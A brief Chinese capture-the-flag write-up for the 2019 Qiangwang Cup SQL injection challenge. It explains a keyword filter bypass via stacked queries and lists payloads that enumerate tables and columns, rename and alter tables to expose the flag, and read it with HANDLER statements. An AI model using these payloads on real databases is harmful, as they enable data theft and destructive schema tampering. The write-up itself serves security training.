强网杯2019 随便注

没什么好说的,教程一搜一大堆。

这题过滤了select,update,where等关键字,不能使用常规的方法进行注入,可以考虑堆叠注入。

查表名:1';show tables;#

查列名:1';show cloumns from XXXX;#

查看flag有两种方式:

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

1';handler `1919810931114514` open;handler `1919810931114514` read first;#

原文地址:https://www.cnblogs.com/BlueDoor1999/p/13301375.html